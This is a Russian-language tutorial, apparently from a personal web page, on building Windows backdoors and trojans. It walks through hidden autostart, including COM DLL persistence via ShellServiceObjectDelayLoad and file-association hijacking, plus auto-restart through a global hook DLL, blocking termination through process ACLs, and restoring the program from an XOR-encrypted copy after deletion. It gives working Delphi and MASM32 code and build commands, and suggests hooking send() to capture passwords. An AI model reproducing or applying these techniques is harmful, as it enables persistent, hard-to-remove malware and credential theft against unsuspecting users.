Для программ, называемыми некоторыми функционерами
от софта, BackDoor-ами и Trojan-ами необходима интеграция в систему т.е. систему
надо "заразить" программой или программа должна намертво в эту систему
вцепиться. Сразу можно выделить основные функции, необходимые таким программам:
a) автозагрузка невидимая пользователю;
b) перезапуск при прерывании;
c) запрет на прерывание;
d) восстановление при удалении;
e) невидимость для различных просмотрщиков процессов
Источник: DANIL's page
В статье я буду последовательно рассматривать каждый пункт. Я не буду
рассказывать обо всех известных способах, но (на мой взгляд) предоставленная
информация является лучшим решением для интеграции в MS Windows. Итак, по
порядку:
A. Автозагрузка. Есть несколько основных направлений реализации автозагрузки
(рассматривается только запуск программ для MS Windows - autoexec.bat[nt] и
подобные запускает только DOS-приложения):
1.1. Папка автозагрузки в меню Start. Без комментариев.
1.2. Запись параметра в HKLM\Software\Microsoft\Windows\CurrentVersion\Run. Есть
несколько модификаций. Недостатки: даже самый тупой пользователь просматривает
этот параметр и на платформе MS Win-NT (NT,2000,XP), если пользователь не
принадлежит к группе администраторов, то параметр записан не будет - система не
даст записать в HKLM системного реестра.
1.3. Запись автостарта в win.ini, system.ini. Недостатки: все программы слежения
за автозапуском в системе эти ключи знают.
1.4. Изменение уже запускаемого при старте системы файла так, чтоб он запускал
необходимую программу. Недостатки: можно запросто уронить систему и существует
очень много программ, считающих контрольную сумму системных файлов (особенно
автозагружаемых).
1.5. Подключение сервиса или драйвера в систему на платформе WinNT. Мало кто
помнит все сервисы системы и обратит внимание на еще один. Недостатки: сервис не
будет работать в Win-9x/ME.
1.6. Прописывание как ScreenSaver. Программа запускается при простое компьютера
несколько минут. Потом она должна запустить тот scr, что был до этого.
Недостатки: ScreenSaver может быть не установлен и обнаружение там какой-то
записи не желательно.
1.7. Связь какого-то расширения файлов с программой. Например, открытие файлов с
расширением *.doc не MS Word, а своей программой (HKEY_CLASSES_ROOT\.doc). При
запуске Word-овского документа, программа запускается и получает параметр-имя
файла. Теперь программа должна запустить MS Word, передав ему этот параметр.
Очень хороший способ. Сложен в реализации, но оно того стоит. Недостатки: в
системе могут переставить MS Word или поставить другую программу, связанную с
этим типом файлов. Наша программа перестанет запускаться.
1.8. Создание "системной" dll, подгружаемой при старте системы. Такая библиотека
"прикрепляется" к explorer-у и ее нельзя удалить при загруженном рабочем столе.
В MS Windows есть много лазеек, о которых публично не говорят и программы
слежения за автозагрузкой таких способов просто не знают или думают, что так
ничего запустить нельзя. Нахождение такого способа - просто клад для создателя
подобных прорамм. О нем обычно особо не распространяются, но в этой статье будет
приведен пример такой автозагрузки. Недостатки: для инициализации "системной"
dll необходимо изменять реестр в ветви HKLM (см. 1.2).
B. Перезапуск при прерывании. Самый простой способ - воспользоваться
дополнительной dll и функцией SetWindowsHookEx. Эта функция устанавливает
различные системные hook-и, вызывая обработчик из дополнительной dll. Если
вызвать эту функцию в программе как SetWindowsHookEx(WH_CALLWNDPROC, addr func,
addr dll, 0) и при выгрузке дополнительной dll с функцией обработки запускать
программу, то произойдет следующее: дополнительная dll "прицепится" ко всем
запущенным окнам и при прерывании программы дополнительная dll будет выгружаться
и заново запускать нашу программу. Реализация данного способа будет чуть ниже.
Подробную информацию об установке hook-ов можно взять в интернете или на моей
странице www.danil.com.ua в статьях по клавиатурному шпиону.
C. Запрет на прерывание. В системе Win-9x/ME программу необходимо скрыть по
"Alt"+"Ctrl"+"Del", а в системах на платформе WinNT можно сделать запрет на
прерывание процесса в TaskManager-е. Выглядит это так (корректно работает на
всех системах):
"zapret.dpr" (Delphi32):
type
funcNT = function (param1 : DWORD; param2 : Byte; param3 :
DWORD; param4, param5 : PSID; param6, param7 : PACL): DWORD;
stdcall;
func9x = function (param1, param2: Integer): Integer; stdcall;
var
Ver : TOSVERSIONINFO;
myACL1 : ACL;
_funcNT : funcNT;
_func9x : func9x;
hLib : DWORD;
begin
Ver.dwOSVersionInfoSize:=SizeOf(Ver);
GetVersionEx(Ver);
if Ver.dwPlatformId = VER_PLATFORM_WIN32_NT then begin
if not InitializeAcl(myACL1, sizeof(ACL), 2) then exit;
if not IsValidAcl(myACL1) then exit;
hLib := LoadLibrary('advapi32.dll');
if hLib>0 then begin
@_funcNT:=GetProcAddress(hLib, 'SetSecurityInfo');
_funcNT(GetCurrentProcess, 6, 4, nil, nil, addr(myACL1), nil);
FreeLibrary(hLib);
end;
end else begin
hLib := LoadLibrary('kernel32.dll');
if hLib>0 then begin
@_func9x:=GetProcAddress(hLib, 'RegisterServiceProcess');
_func9x(0,1);
FreeLibrary(hLib);
end;
end;
end;
"zapret.asm" (MASM32):
.DATA
kernel32 db "kernel32.dll", 0
Func db "RegisterServiceProcess", 0
Ver OSVERSIONINFO <>
LOCAL myACL1 : ACL
.CODE
;получение версии MS Windows
mov Ver.dwOSVersionInfoSize, SizeOf Ver
invoke GetVersionEx, addr Ver
.IF Ver.dwPlatformId == VER_PLATFORM_WIN32_NT
;если WinNT - устанавливаем необходимые параметры
invoke InitializeAcl, addr myACL1, sizeof ACL, 2
.IF eax == 0
jmp lab666
.ENDIF
invoke IsValidAcl, addr myACL1
.IF eax == 0
jmp lab666
.ENDIF
invoke GetCurrentProcess
mov ebx,eax
invoke SetSecurityInfo, ebx, 6, 4, 0, 0, addr myACL1, 0
invoke FreeLibrary, dll0
.ELSEIF
;если Win-9x/ME - запускаем RegisterServiceProcess
invoke GetModuleHandle, addr kernel32
or eax,eax
jz lab666
invoke GetProcAddress, eax, addr Func
or eax, eax
jz lab666
push 1
push 0
call eax
.ENDIF
lab666:
D. Восстановление при удалении. В случае удаления
нашей программы, восстанавливать ее должна еще одна программа или дополнительная
dll. Наиболее простой путь - воспользоваться пунктом 1.8 автозагрузки. Запускать
нашу программу будет дополнительная dll, а значит она же может ее и
восстанавливать. Программа при своем первом запуске создает дополнительную
библиотеку (исходники будут ниже) и какой-то файл, содержащий саму себя, но
зашифрованный xor (чтоб потом этот файл не нашли по совпадению с программой).
Прописывает автозагрузку. При загрузке системы, инициализируется дополнительная
dll. Она проверяет наличие файла и, в случае его отсутствия, восстанавливает его
из xor-енного файла данных. Потом его запускает.
E. Невидимость для различных просмотрщиков процессов. Эта функция реализуется по
принципу системы перехвата функций WinAPI. Очень хорошая статья по этой теме
есть на www.wasm.ru. Также данную информацию можно прочитать в книге Jeffrey
Richter "Programming Applications for Microsoft Windows". Поэтому
подробно на подмене функций я останавливаться не буду. Скажу только, что эта
технология очень хорошо подходит для различных Trojan-ов: подменить ведь можно и
функцию send. Большинство паролей передается в открытом виде и подменив
функцию send и произведя мониторинг всех передаваемых строк, начинающихся с PASS
и т.д., нет необходимости "выдирать" пароли на почту из аутглюка или на ftp из
ftp-client-а. Тем более, что неизвестно какая почтовая программа у пользователя
стоит, а по этой технологии это не существенно. Также можно подменить функцию
connect, recv и т.д.
Кодинг. Итак, рассмотрим каркас программы, включающей пункты a, b, c, d. Для
автозагрузки будет использован способ из пункта 1.8. Вся эта система будет
состоять из непосредственно программы (exe-файл) и 2 дополнительных библиотек.
Первая нужна для автостарта и восстановления при удалении; вторая -
обработка hook-а для перезапуска при прерывании и подмена функций WinAPI.
Объеденить их в одну нельзя - будет глючить при выключении компьютера.
Рассмотрим сначала библиотеку для перезапуска при прерывании программы.
"dll1.dpr" (Delphi) :
library dll1;
uses
Windows, ShellAPI;
var
ProgramRun : String;
CommandStr3 : array[1..1024] of Char;
Hook3 : DWORD;
procedure DLLMain(Reason: Integer);
begin
; Когда библиотека "открепляется" - запуск программы
if Reason=DLL_PROCESS_DETACH then WinExec(PChar(ProgramRun),9);
end;
; ==============================================
; Функция обработки hook-ов
procedure AutoProc (nCode1: DWORD; wParam1: WPARAM;
lParam1: LPARAM);
begin
CallNextHookEx(Hook3 ,nCode1, wParam1, lParam1);
end;
exports AutoProc;
begin
; Когда библиотека "прикрепляется" - определяем пути
ProgramRun:='\exe_asm.exe';
FillChar(CommandStr3,1024,0);
GetSystemDirectory(addr(CommandStr3[1]), 1024);
ProgramRun:=CommandStr3+ProgramRun;
end.
|
"dll1.asm" (MASM32) :
.386
.model flat, stdcall
option casemap :none
; ==============================================
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\advapi32.inc
includelib \masm32\lib\advapi32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
.data
; Запускаемая программа в каталоге
ProgramRun db "\exe_asm.exe",0
.data?
CommandStr3 db 1024 dup(?)
Hook3 dd ?
; ==============================================
.code
LibMain proc hInstDLL:DWORD, reason:DWORD, unused:DWORD
; Когда библиотека "прикрепляется" - определяем пути
.IF reason == DLL_PROCESS_ATTACH
invoke GetSystemDirectory, addr CommandStr3, 1024
invoke lstrcat, addr CommandStr3, addr ProgramRun
mov eax, TRUE
ret
; Когда библиотека "открепляется" - запуск программы
.ELSEIF reason == DLL_PROCESS_DETACH
invoke WinExec,addr CommandStr3, SW_RESTORE
.ENDIF
ret
LibMain Endp
; ==============================================
; Функция обработки hook-ов
AutoProc proc nCode1: DWORD, wParam1: WPARAM, lParam1: LPARAM
invoke CallNextHookEx, Hook3 ,nCode1, wParam1, lParam1
ret
AutoProc endp
End LibMain
|
Перед компиляцией необходимо создать файл
dll1.def с ткекстом:
LIBRARY dll1
EXPORTS AutoProc
и откомпилировать:
\masm32\bin\ml /c /coff dll1.asm
\masm32\bin\Link /SUBSYSTEM:WINDOWS /DLL /DEF:dll1.def dll1.obj
Код подмены функций NtQuerySystemInformation, Process32First, Process32Next,
EnumWindows, EnumThreadWindows, EnumChildWindows и т.п. приводить не буду.
Теперь необходимо рассмотреть библиотеку для автозапуска и восстановления
exe-файла.
Автозапуск будет осуществляться так:
1) Необходимо в системном реестре в ключе HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\ShellServiceObjectDelayLoad создать строковой параметр. Этот
параметр с произвольным названием должен содержать CLSID. Для формирования этого
значения необходимо воспользоваться функцией CoCreateGuid для создания GUID.
Потом функцией StringFromCLSID привести полученное значение к нормальному виду.
У нас должно получиться что-то вроде "{E6FB5E20-DE35-11CF-9C87-00AA005127ED}".
2) В ключе реестра HKEY_CLASSES_ROOT\CLSID необходимо создать подключ с именем
полученного ранее CLSID. В созданном ключе необходимо создать подключ
\InProcServer32. В ключе HKEY_CLASSES_ROOT\CLSID\{MyCLSID}\InProcServer32
необходимо записать в параметре по умолчанию (Default) путь и имя файла dll (например:
C:\WINNT\SYSTEM32\dll2.dll).
При старте системы записанная dll будет инициализированна и "прикреплена" к
explorer. Теперь пока загружен рабочий стол ее удалить нельзя. Если в
обработчике инициализации этой библиотеки прописать восстановление exe-файла из
xor-енного файла данных и его запуск, а в обработчике выгрузки - прописывание
автостарта, то такую программу можно будет удалить только не загружаясь в
систему или точно зная алгоритм работы. |